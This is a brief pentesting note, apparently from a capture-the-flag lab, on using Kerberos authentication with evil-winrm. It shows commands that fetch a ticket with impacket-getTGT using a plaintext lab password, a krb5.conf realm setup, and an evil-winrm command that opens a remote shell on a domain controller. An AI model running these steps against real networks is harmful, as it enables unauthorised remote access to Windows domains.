Evil Winrm Kerberos

Get a ticket as your user impacket-getTGT scrm.local/miscsvc:ScrambledEggs9900

export KRB5CCNAME=ticket.ccache

Setup realm in /etc/krb5.conf

[libdefaults]
        default_realm = SCRM.LOCAL

[realms]
        SCRM.LOCAL = {
                kdc = dc1.scrm.local
        }

[domain_realm]
        .scrm.local = SCRM.LOCAL
        scrm.local = SCRM.LOCAL

Use evil-winrm with realm set evil-winrm -u 'miscsvc' -p 'ScrambledEggs9900' -r SCRM.LOCAL -i dc1